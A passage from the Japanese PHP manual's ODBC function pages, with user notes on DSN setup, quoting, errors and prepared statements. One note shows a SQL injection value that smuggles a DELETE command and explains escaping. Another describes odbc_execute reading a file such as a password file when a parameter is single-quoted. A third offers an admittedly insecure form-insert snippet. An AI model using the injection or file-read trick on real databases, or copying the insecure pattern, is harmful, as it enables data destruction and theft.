The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
lffranco at dco.pemex.com 27-Aug-2003 06:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
    print $res->Fields['username']->Value . "<br>";
    $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
jeremy at austin.ibm.com 28-Feb-2003 02:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
osiris at rich-howard dot co dot uk 24-Jul-2002 10:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
Mahmoud at iastate dot edu 29-Nov-2001 12:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com 23-Nov-2001 02:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
    while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
        echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
    }
    echo  "</table>";
root at mediamonks dot net 19-Nov-2001 04:03
Due to multiple requests, more for DSN-less connections:

<?php
$db_connection = new COM("ADODB.Connection");

$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();
?>

(Prints first 2 columns for each row.)
cs at coolspot dot de 10-Jul-2001 01:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
fc99 at smm dot de 26-Jan-2001 06:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com 26-Jan-2001 03:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
phobo_AT_paradise.net.nz 02-Nov-2000 06:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
cnewbill at onewest dot net 18-May-2000 05:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.


カーソル名を得る

  • ≪ odbc_connect
  • odbc_data_source ≫
  • PHP Manual
  • ODBC 関数
  • カーソル名を得る

odbc_cursor

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_cursor — カーソル名を得る

説明

odbc_cursor ( resource $statement ) : string|false

指定された接続 ID に関するカーソル名を返します。 Gets the cursorname for the given result_id.

パラメータ

statement

結果 ID。

返り値

カーソル名を文字列で返します。 失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


利用可能なDSNについての情報を返す

  • ≪ odbc_cursor
  • odbc_do ≫
  • PHP Manual
  • ODBC 関数
  • 利用可能なDSNについての情報を返す

odbc_data_source

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

odbc_data_source — 利用可能なDSNについての情報を返す

説明

odbc_data_source ( resource $odbc , int $fetch_type ) : array|false

この関数は、有効な DSN（複数回のコールの後）のリストを返します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

fetch_type

fetch_type は次のふたつの定数 SQL_FETCH_FIRST, SQL_FETCH_NEXT のうちのどちらかです。 この関数を最初にコールする際には SQL_FETCH_FIRST を、それ以降は SQL_FETCH_NEXT を使用します。

返り値

エラー時には false、成功時には配列を返します。 最後の利用可能なDSNを取得した後は、null を返します。

例

例1 利用可能なDSNの一覧を表示する

<?php
$conn = odbc_connect('dsn', 'user', 'pass');
$dsn_info = odbc_data_source($conn, SQL_FETCH_FIRST);
while ($dsn_info) {
    print_r($dsn_info);
    $dsn_info = odbc_data_source($conn, SQL_FETCH_NEXT);
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [server] => dsn
    [description] => ODBC Driver 17 for SQL Server
)
Array
(
    [server] => other_dsn
    [description] => Microsoft Access Driver (*.mdb, *.accdb)
)

User Contributed Notes

There are no user contributed notes for this page.


odbc_exec のエイリアス

  • ≪ odbc_data_source
  • odbc_error ≫
  • PHP Manual
  • ODBC 関数
  • odbc_exec のエイリアス

odbc_do

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_do — odbc_exec() のエイリアス

説明

この関数は次の関数のエイリアスです。 odbc_exec().

User Contributed Notes

scottmweaver 01-Jun-2007 03:27
Hey guys,

I used the following code to run normal double quotes inside my SQL queries. Hopefully this will save someone else a headache or two-

<?php

    /**
     * Query Function
     * Allows quoted queries to be sent to SQL
     */

    function query($query, $conn)
    {
        odbc_do($conn, 'SET QUOTED_IDENTIFIER OFF');
        return odbc_do($conn, $query);
    }
?>
phil.nyc 04-Dec-2006 07:23
To clear up: the SQL standard requires strings to be inside single quotes: 'string'.  It simply does not accept double quotes for this purpose.

Furthermore, in PHP, you can have a single quote inside double quotes: "select a from b where c = 'string'" without the need to escape.
yashkhopade at hotmail dot com 10-Jul-2003 03:53
i have use this function so many times. it works well for my requirements. ok well done...

<?php
         $sqlstr="SELECT bill_no FROM SCROL";
         $queryresult=odbc_do($conn,$sqlstr);
         odbc_fetch_row($queryresult,$bills);

        // if we want to access the records
        // then we have to write the following code

        echo $bills[0];

?>

the out put for this will:

 1
which is actullay first record of resultset.


直近のエラーコードを得る

  • ≪ odbc_do
  • odbc_errormsg ≫
  • PHP Manual
  • ODBC 関数
  • 直近のエラーコードを得る

odbc_error

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_error — 直近のエラーコードを得る

説明

odbc_error ( resource|null $odbc = null ) : string

6 桁の ODBC ステートを返します。エラーがない場合には、空の文字列を返します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

返り値

odbc が指定された場合、 その接続の直近の状態が返されます。そうでない場合、 他の接続の直近の状態が返されます。

この関数の返り値が意味を持つのは、直近の odbc クエリが失敗した場合 (すなわち odbc_exec() が false を返した場合) のみです。

変更履歴

バージョン | 説明
8.0.0 | odbc は、nullable になりました。

参考

  • odbc_errormsg() - 直近のエラーメッセージを得る
  • odbc_exec() - SQL文を直接実行する

User Contributed Notes

Dan 23-Jan-2014 04:47
On persistent connections, a  failed T-SQL will allow odbc_error and odbc_errormsg to return the error, but a subsequent successful T-SQL will not clear the error.  Is it a bug?
sunil_limje at indiatimes dot com 18-Jul-2003 03:06
I have use this function, its very simple and cute.
with IBM DB2
<?php
         // you must set the connection first
         if (odbc_error())
         {
               echo odbc_errormsg($conn);
         }
         // if you want to show the perfect error message
         // then format it using string functions.
?>
Have a good day!
Sergio Sartori 03-Apr-2003 09:56
Using IBM DB2 V7.1 and MS SQL Server 7 ODBC database connections.
Print the result of odbc_error() or odbc_errormsg() after each call to an odbc_ function that gives no error and, sooner or later, you'll get garbage instead of a blank string!
aaronbair at hotmail dot com 08-Mar-2002 08:26
If you use an argument, make sure its the CONNECTION_ID and not the RESULT_ID.

Testing the result can return a null string or sometimes a garbage string.

# -- Example code  --
$rs = odbc_exec($dbc, $sql);

#this is wrong but won't error out until
#you demo the page for a client!
  if (odbc_error($rs)) die(...);

#these work
  if (odbc_error()) die(...);
  if (odbc_error($dbc)) die(...);


直近のエラーメッセージを得る

  • ≪ odbc_error
  • odbc_exec ≫
  • PHP Manual
  • ODBC 関数
  • 直近のエラーメッセージを得る

odbc_errormsg

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_errormsg — 直近のエラーメッセージを得る

説明

odbc_errormsg ( resource|null $odbc = null ) : string

直近の ODBC エラーメッセージを含む文字列を返します。 エラーが発生していない場合は、空の文字列を返します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

返り値

odbc が指定された場合、 その接続の直近の状態が返されます。さもなくば、他の接続の直近の状態が返されます。

この関数の返り値が意味を持つのは、直近の odbc クエリが失敗した場合 (すなわち odbc_exec() が false を返した場合) のみです。

変更履歴

バージョン | 説明
8.0.0 | odbc は、nullable になりました。

参考

  • odbc_error() - 直近のエラーコードを得る
  • odbc_exec() - SQL文を直接実行する

User Contributed Notes

There are no user contributed notes for this page.


SQL文を直接実行する

  • ≪ odbc_errormsg
  • odbc_execute ≫
  • PHP Manual
  • ODBC 関数
  • SQL文を直接実行する

odbc_exec

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_exec — SQL文を直接実行する

説明

odbc_exec ( resource $odbc , string $query ) : resource|false

SQL 命令を データベースサーバーに送ります。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

query

SQL 文。

返り値

SQL コマンドの実行に成功した場合には、 ODBC 結果 ID を返します。エラー時には、falseを返します。

変更履歴

バージョン | 説明
8.0.0 | flags は削除されました。

参考

  • odbc_prepare() - 実行用に文を準備する
  • odbc_execute() - プリペアドステートメントを実行する

User Contributed Notes

test 07-Nov-2017 03:50
If eval() is the answer, you're almost certainly asking the wrong question.
petercdow at gmail dot com 14-Oct-2013 01:54
An SQL statement that contains quotes (i.e. ") instead of apostrophes (i.e. ') to delimit strings works fine in Access, however, in odbc_exec, it fails with

[Microsoft][ODBC Microsoft Access Driver] Too few parameters. Expected 6.

For example:

$q = "INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES('A', 'B', 'C');"

works fine in both Access and ODBC, but

$q = 'INSERT INTO TableA (Fld1, Fld2, Fld3) VALUES("A", "B", "C");'

fails with the above error.
mir eder 28-Aug-2007 03:39
If you are having problems with truncated text fields from ODBC queries (pe. at 4096 characters), try some of the following:

in php.ini:
- odbc.defaultlrl = 65536

in your php code, before your queries:
- ini_set ( 'odbc.defaultlrl' , '65536' );
delowing gmail dot com 27-Sep-2006 08:19
It is easy to inject evil code into SQL statements. This wraps parameters in quotes so they are not executable. In your own stored procedures you can convert the string to numeric as needed.

function sql_make_string($sin){
         return "'".str_replace("'","''",$sin)."'";
}

// this may delete all data from MYTABLE
$evil = "734'; DELETE FROM MYTABLE; print 'ha ha";
$sql = "SELECT * FROM MYTABLE WHERE mykey = '$evil'";
$rst = odbc_exec($connection,$sql);

// this probably will not delete the data.
$good = sql_make_string($evil);
$sql = "SELECT * FROM MYTABLE WHERE mykey =".$good
$rst = odbc_exec($connection,$sql);
30-Aug-2005 06:18
The following seems counterintuitive to me and so I am constantly getting burned by it.  Just thought I'd add a note for anyone else who might also get burned.

  if (!odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))

is not a good way to search for the existence of a record with Key1 = x and Key2 = y.  The odbc_exec always returns a result handle, even though there aren't any records.

Rather, you must use one of the fetch functions to find out that the record really doesn't exist.  This should work:

  if (!($Selhand = odbc_exec("select MyValue from MyTable where Key1='x' and Key2='y'"))
    || !odbc_result($Selhand, 1))
fuadMD at gmail dot com 24-May-2005 12:34
<?php
// - This is a complete working dynamic example of using:
//    odbc_connect, odbc_exec, getting col Names,
//    odbc_fetch_row and no of rows. hope it helps
// - your driver should point to your MS access file

$conn = odbc_connect('MSAccessDriver','','');

$nrows=0;

if ($conn)
{
$sql =  "select * from $month";
//this function will execute the sql satament
$result=odbc_exec($conn, $sql);

echo "<table  align=\"center\" border=\"1\" borderColor=\"\" cellpadding=\"0\" cellspacing=\"0\">\n";
echo "<tr> ";
// -- print field name
$colName = odbc_num_fields($result);
for ($j=1; $j<= $colName; $j++)
{
echo "<th  align=\"left\" bgcolor=\"#CCCCCC\" > <font color=\"#990000\"> ";
echo odbc_field_name ($result, $j );
echo "</font> </th>";
}
$j=$j-1;
$c=0;
// end of field names
while(odbc_fetch_row($result)) // getting data
{
 $c=$c+1;
 if ( $c%2 == 0 )
 echo "<tr bgcolor=\"#d0d0d0\" >\n";
 else
 echo "<tr bgcolor=\"#eeeeee\">\n";
    for($i=1;$i<=odbc_num_fields($result);$i++)
      {
        echo "<td>";
        echo odbc_result($result,$i);
        echo "</td>";
        if ( $i%$j == 0 )
           {
            $nrows+=1; // counting no of rows
          }
      }
    echo "</tr>";
}

echo "</td> </tr>\n";
echo "</table >\n";
// --end of table
if ($nrows==0) echo "<br/><center> Nothing for $month yet! Try back later</center>  <br/>";
else echo "<br/><center> Total Records:  $nrows </center>  <br/>";
odbc_close ($conn);

}
else echo "odbc not connected <br>";
?>
james @ php-for-beginners co uk 18-Mar-2005 04:54
hi all, I managed to get this little snippet working, it's pretty useful if you have long forms to be inserted into a database.

if ( ! empty ( $_POST ) ){
array_pop($_POST);
 foreach($_POST as $key => $val){
  $columns .= addslashes($key) . ", ";
    $values .= "'" . addslashes($val) . "', ";

 }
 $values = substr_replace($values, "", -2);
 $columns = substr_replace($columns, "", -2);

 $sql = "INSERT INTO table ($columns) VALUES ($values)";
 echo $sql;
 $results = odbc_exec($conn, $sql);
                 if ($results){
              echo "Query Executed";
                }else {
              echo "Query failed " .odbc_error();
            }
}

Not the most secure in the world but, speeds up collecting data from large forms.
Sean Boulter 21-Apr-2004 05:28
If a single quote exists within the field specified by your WHERE statement, ODBC fails because of a parsing error.  Although it seems intuitive, using \" around the field does not work (\"$var\").  The only solution I found was to replace all single quotes in my field with two single quotes.  ODBC interprets the first single quote as an escape character and interprets the second single quote as a literal.  Thanks to http://www.devguru.com/features/knowledge_base/A100206.html for this tip.
rob at vendorpromotions dot com 17-Jun-2003 01:29
This opens select statements 'for update' by default in db2.  If you're using db2, you have to tack on 'for read only' at the end to select from SYSCAT.TABLES, for example, without firing an error like

Warning: SQL error: [IBM][CLI Driver][DB2/LINUX] SQL0151N The column "MAXFREESPACESEARCH" cannot be updated. SQLSTATE=42808 , SQL state 42808 in SQLExecDirect

For example :

$query = odbc_exec($conn, "select * from syscat.tables for read only");
odbc_result_all($query);

will work (only for db2).  I don't know about other databases.

The select statement will work in the 'db2' command line, but not in php, because of this side effect.
rupix at rediffmail dot com 05-Apr-2003 07:05
I tried the following line of code

<?php
$odbc=odbc_connect("pbk", "root","") or die(odbc_errormsg());
$q="insert into pbk values(\"$name\", \"$phone\")";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

it does not work. However if I use single quotes instead of \" the thing runs smoothly

thus the following would work

<?php
$odbc=odbc_connect("pbk", "yourworstnightmare","abracadabra") or die(odbc_errormsg());
$q="insert into pbk values('$name', '$phone')";
print $q;
odbc_exec($odbc, $q) or die("<p>".odbc_errormsg());
?>

Also having a user dsn is no good on win2k. Always have a System DSN. I don't know yet what are the implications of the same.
das_yrch at hotmail dot com 07-Mar-2003 03:17
I tried this way to see the results of a query and it works!!

$Conn = odbc_connect
("bbdd_usuaris","","",SQL_CUR_USE_ODBC );

$result=odbc_exec($Conn,"select nom from usuaris;");

while(odbc_fetch_row($result)){
         for($i=1;$i<=odbc_num_fields($result);$i++){
        echo "Result is ".odbc_result($result,$i);
    }
}
miguel dot erill at doymer dot com 23-Jul-2002 03:33
In a previous contribution it was told that if you're running NT/IIS with PHP 3.0.11 you can use MS Access dbs "stored procedures".

That was right, but if those stores procedures have parameters you have to supply them in the command line like this:

$conn_id = odbc_connect( "odbc_test_db", "","", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery(".$param.")}" );
martin at NOSPAMkouba dot at 05-Feb-2002 08:37
"[Microsoft][ODBC Microsoft Access Driver] Too few
parameters. Expected 1."

this not so clear to understand error comes when using access-odbc and a field name can't be found. check for correct spelling of fields.
lee200082 at hotmail dot com 21-Jan-2002 05:07
As an addition to the note about square brackets earlier:

Enclosing sql field names in '[' and ']' also allows you to use MS Access reserved words like 'date' and 'field' and 'time' in your SQL query... it seems that the square brackets simply tell Access to ignore any other meaning whatever is inside them has and take them simply as field names.
sk2xml at gmx dot net 21-Nov-2001 06:15
Problem: Fieldnames in SQL-Statement have blanks and [] don't work!

Solution: Try "" instead

Ex.:

SELECT table2.first, table1.[last name] FROM tabel1, table2 -> don't work

SELECT table2.first, table1.\"last name\" FROM tabel1, table2 -> Try this

PS: Don't forget the espace characters !!!
akchu at at ualberta dot ca 07-Jan-2001 08:41
ODBC/MS Access Date Fields:

Matching dates in SELECT statements for MS Access requires the following format:
#Y-m-d H:i:s#

for example:

SELECT * FROM TableName WHERE Birthdate = #2001-01-07 00:00:00#

or

SELECT * FROM TableName WHERE Birthdate BETWEEN #2000-01-07 00:00:00# AND #2001-01-07 00:00:00#

This took me forever to figure out.
vpil at retico dot com 06-Nov-2000 06:24
Additional links to ODBC_exec:
How to actually write the SQL commands:
http://www.roth.net/perl/odbc/faq/
http://www.netaxs.com/~joc/perl/article/SQL.html
Demystifying SQL
BIG REF MANUAL:
http://w3.one.net/~jhoffman/sqltut.htm
Introduction to Structured Query Language
Covers read, add, modify & delete of data.
phobo at at at paradise dot net dot nz 02-Nov-2000 06:26
If Openlink -> MS Access Database fails and gives "Driver Not Capable" error or "No tuples available" warning, use the SQL_CUR_USE_ODBC cursor when using odbc_connect()...

Siggy
andreas dot brunner at rubner dot com 07-Jul-2000 04:54
I wanted to access an MSAccess database via ODBC. The connection functioned without problems, but when I placed a SQL statement into my odbc_exec() i always got an error:
Warning: SQL error: [Microsoft][ODBC Driver Manager] Driver does not support that function, SQL state IM001 in SQLSetStmtOption in \\Server\directory/test.php3 on line 19.

Resolved my problem by myself: i simply had to install a new odbc-driver from the microsoft homepage.
gross at arkana dot de 28-Oct-1999 06:03
If you're running NT/IIS with PHP 3.0.11 and want to use MS Access dbs with "stored procedures" you can send an ODBC SQL query like:
<?php
$conn_id = odbc_connect( "odbc_test_db", "", "", SQL_CUR_USE_DRIVER );
$qry_id = odbc_do( $conn_id, "{CALL MyQuery}" );
?>
This way you don't need to integrate query strings like

SELECT * FROM TblObject WHERE (((TblObject.something) Like "blahblahblah"));

in the php file. You directly call the query "MyQuery" that was generated by MS Access.
rmkim at uwaterloo dot ca 25-Aug-1999 11:13
for Win32(NT) and MSAcess 2000, whenever you retrieve a date column/field, php will automatically convert it to 'yyyy/mm/dd hh:mm:ss' format regardless of the style of date you've denoted in Access.
This seems to pose a problem when you exec SELECT, UPDATE, or DELETE queries, but strangley INSERT works fine. I've tried parsing the date into the desired format, but php still yells criteria mismatch.


プリペアドステートメントを実行する

  • ≪ odbc_exec
  • odbc_fetch_array ≫
  • PHP Manual
  • ODBC 関数
  • プリペアドステートメントを実行する

odbc_execute

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_execute — プリペアドステートメントを実行する

説明

odbc_execute ( resource $statement , array $params = [] ) : bool

odbc_prepare() で準備された命令を実行します。

パラメータ

statement

odbc_prepare() で取得した結果 ID リソース。

params

プリペアドステートメントの中のプレースホルダが、 params 内のパラメータで順に置き換えられます。 この関数をコールした際に、配列の要素は文字列に変換されます。

params の中でシングルクォートで括られたデータがある場合、 それはファイル名と解釈されます。そのファイルの内容が、 該当するプレースホルダのデータとしてデータベースサーバーに送信されます。

シングルクォートで括られたデータを純粋に文字列として使用したい場合は、 空白などの別の文字を前後に付加する必要があります。 それにより、パラメータがファイル名とみなされることがなくなります (もしこのオプションが不要なら、別の仕組み、たとえば odbc_exec() で直接クエリを実行するなどを使用する必要があります)。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 odbc_execute() および odbc_prepare() の例

次のコードは、myproc の 3 つのパラメータがすべて IN パラメータである場合にのみ $success が true となります。

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

INOUT や OUT パラメータを用いるストアドプロシージャをコールしたい場合は、 各データベース専用の拡張モジュール (たとえば Oracle なら oci8) を使うようにしましょう。

参考

  • odbc_prepare() - 実行用に文を準備する

User Contributed Notes

dj at magma dot nz 09-Jan-2019 07:07
When using odbc_execute to an MS Access database use single quotes (not double quotes) for literal string definitions.

e.g. $sql = "Insert into [table] ([first], [last]) select 'Bob', 'Builder';"

If you use double quotes you may end up with an error like: [Microsoft] [ODBC Text Driver] Too few parameters. Expected: 2
vince at dinapoliwest dot com 13-Jun-2016 08:48
I've been using odbc functions for quite a while and I was floored when I finally read the details about the how the parameters are handled when they start and end with single quotes! I assumed that the main reason for odbc_execute vs. odbc_exec was to prevent sql injection but apparently this added feature actually opens another security hole, perhaps worse. This was my fix:

<?php

function odbc_execute_clean_parameters($result_id, $parameters_array){
  for($i = 0; $i < count($parameters_array); ++$i){
    if( substr($parameters_array[$i], -1) == "'" && substr($parameters_array[$i], 0 ,1) == "'" ){
      $parameters_array[$i].= " ";
    }
  }
  return odbc_execute($result_id, $parameters_array);
}

// then call
$stmt = odbc_prepare($conn, " insert into mytable (col1, col2) values (?, ?) ");
$r = odbc_execute_clean_parameters($stmt, array( $val1, $val2 ) );

?>
Marco Napetti 25-Oct-2012 10:18
To use prepared with select queries, the right way is:
<?PHP

$rConnection = odbc_connect('AS400', 'QSECOFR', 'QSECOFR');
if($rConnection === false) {
    throw new ErrorException(odbc_errormsg());
}

$rResult = odbc_prepare($rConnection, 'SELECT * FROM KMNSH00F WHERE SHTMST > ?');
if($rResult === false) {
    throw new ErrorException(odbc_errormsg());
}

if(odbc_execute($rResult, array('0001-01-01 00:00:00.000000')) === false) {
    throw new ErrorException(odbc_errormsg());
}

odbc_result_all($rResult);

odbc_free_result($rResult);

odbc_close($rConnection);

?>
alvaro at demogracia dot com 20-Dec-2011 05:16
When odbc_execute() fails it returns FALSE and triggers a warning but it will not necessarily feed odbc_error() and odbc_errormsg().
anonymous 29-Apr-2009 11:32
if you can't use php_mssql module in your environment (suse linux, apache2, php5, FreeTDS, unixODBC) an alternative is to use sql server functions instead of procedures. here is my sample code.

<?php
  $connect        = odbc_connect($myDB, $myUser, $myPass);

  $query = "SELECT dbo.<function>(<column>,<text>) alias";

  // perform the query
  $result = odbc_exec($connect, $query);

  while(odbc_fetch_row($result)) {
    $Var1    = odbc_result($result, <column alias>);
    //echo "Var1: " . $Var1 . "<br>";

        // add additional logic

  }
?>

Once I figured this out, my app worked perfectly.
jeroen at pyromanic dot nl 05-Jun-2008 01:05
If you want to use stored procedures with MSSQL over ODBC, please read

http://www.sitepoint.com/article/php-microsoft-sql-server/2

It can you save lots of time ;)
traynor at uni hyphen hannover dot de 08-Nov-2007 06:09
Obdc_prepare and obdc_execute can only be used as an alternative to odbc_exec in limited circumstances:

$con = obdc_connect ($dsn, $user, $pass);
$sql = "select * from TABLE";

$result = obdc_exec ($con, $sql); //this line can be replaced as blow
//then to see results:

odbc_result_all ($result);
odbc_free_result ($result);
odbc_close ($con);

gives the same result with the middle line as:

$result = odbc_prepare ($con, $sql);
odbc_execute ($result);

as long as $sql contains a well formed and complete query.

There is no point in trying to convert this into a parameter query with question marks as placeholders, since code like this will result only in error messages:

$sql = "select * from TABLE where needle = ?";
$result = odbc_prepare ($con, $sql);
for ($i = 0; $i < 4; $i++)
{
  odbc_execute ($result, array ($i));
  // and whatever you want to do with the result
  // but all you get is "parameter expected" or "count does not match"
}

The lack of documentation for such functions should have been an alarm signal.
a dot brock at hhv-rheinklang dot de 24-Aug-2006 04:38
I have a solution for the problem with the strings beeing interpreted as filename because of the single quotes:

Just add a blank to the end of the string:

<?php
function odbc_escape_params ($params) {
 if (!is_array($params) or empty($params)) {
  return array();
 }
 foreach ($params as $key=>$val) {
  if (strlen($val) > 1 and $val{0} == "'" and $val{strlen($val)-1} == "'") {
   $params[$key] .= ' ';
  }
 }
 return $params;
}
?>
mjs at beebo dot org 27-Mar-2006 01:57
Don't miss the part where it says that if your string starts and ends with a single quote, the string is interpreted as a filename!

This means that you can't do:

$sth = odbc_prepare($dbh, "INSERT INTO people(name) VALUES(?)");
$res = odbc_execute($sth, array($name));

without checking the value of $name--if $name is, say, '\\'c:\\passwords.txt\\'' the contents of c:\\passwords.txt get inserted into your database as a "name".

Also, despite what the documentation suggests, there (incredibly) doesn't appear to be any way to escape your single quotes (via experimentation, and from reading the source): if your string starts and ends with a single quote you cannot use odbc_execute to insert it into the database.
russell dot brown at removethis dot insignia dot com 09-Feb-2004 12:55
In reply to tcmleung at yahoo dot com (09-Nov-2001), I would add a caveat that I've found, which is that the odbc.defaultlrl/odbc_longreadlen() values may only apply to odbc->php conversion and not php->odbc (though this may be database-specific). Hence, if you want to post binary data the 4096 byte limit still stands. So you stand a better chance of being able to post binary data using the quoted filename upload procedure described above, rather than using the prepare... execute method with data held in a php variable.
svemir_AT_baltok.com 06-Sep-2002 10:45
In reply to cpoirier's note from 04-Mar-2001 03:30:

Currently, Access 2000 DOES support parametrized queries via ODBC. It still seems to have a problem with Memo and OLE fields, but "normal" types work just fine.
tcmleung at yahoo dot com 09-Nov-2001 01:22
odbc has a maximum buffer size, that means it only stores and retrieves a limited size of data to/from database each time. The maximum buffer size is 4096 and set in php.ini (odbc.defaultlrl). You can set it to higher value for larger data access.
sjericson at mindspring dot com 25-Aug-2001 10:43
I don't think odbc_prepare and odbc_execute support output parameters for stored procedures on MSSQL.  An example of output parameters for MSSQL is at  http://support.microsoft.com/support/kb/articles/q174/2/23.asp

Also, my MSSQL driver seems happy only when I use the following incantation:

...code removed...
$stmt=odbc_prepare($conn_id, "exec my_proc_name ?,?,?");
$parms=array("fred","password",5);
if (!odbc_execute($stmt, &$parms)) die("odbc_execute failed");
reaganpr at hotmail dot com 23-Jul-2001 04:50
When running the CGI version of 4.0.6 under windows, I came across this error when trying to call a stored procedure in SQL Server using odbc_execute w/ the parameter array set:

FATAL:  emalloc():  Unable to allocate 268675669 bytes

Scary error, huh? In my case it just meant that SQL Server couldn't find the stored procedure.  Totally my fault, but a rather nondescript error message.

p.
cpoirier at shelluser dot net 04-Mar-2001 02:30
A quick note in hopes that my pain will save someone else:  Microsoft Access ODBC drivers do not support parameterized queries.
edrenth at thematec dot nl 17-Oct-2000 06:17
When used with parameters and the statement fails, you cannot use different arguments anymore, the same arguments as with the failed statement will be used.
tony dot wood at revolutionltd dot com 27-May-1999 04:08
For a simple database insert to a database that has no password and $from and $to are predefined variables.

<?php
/* get connection */
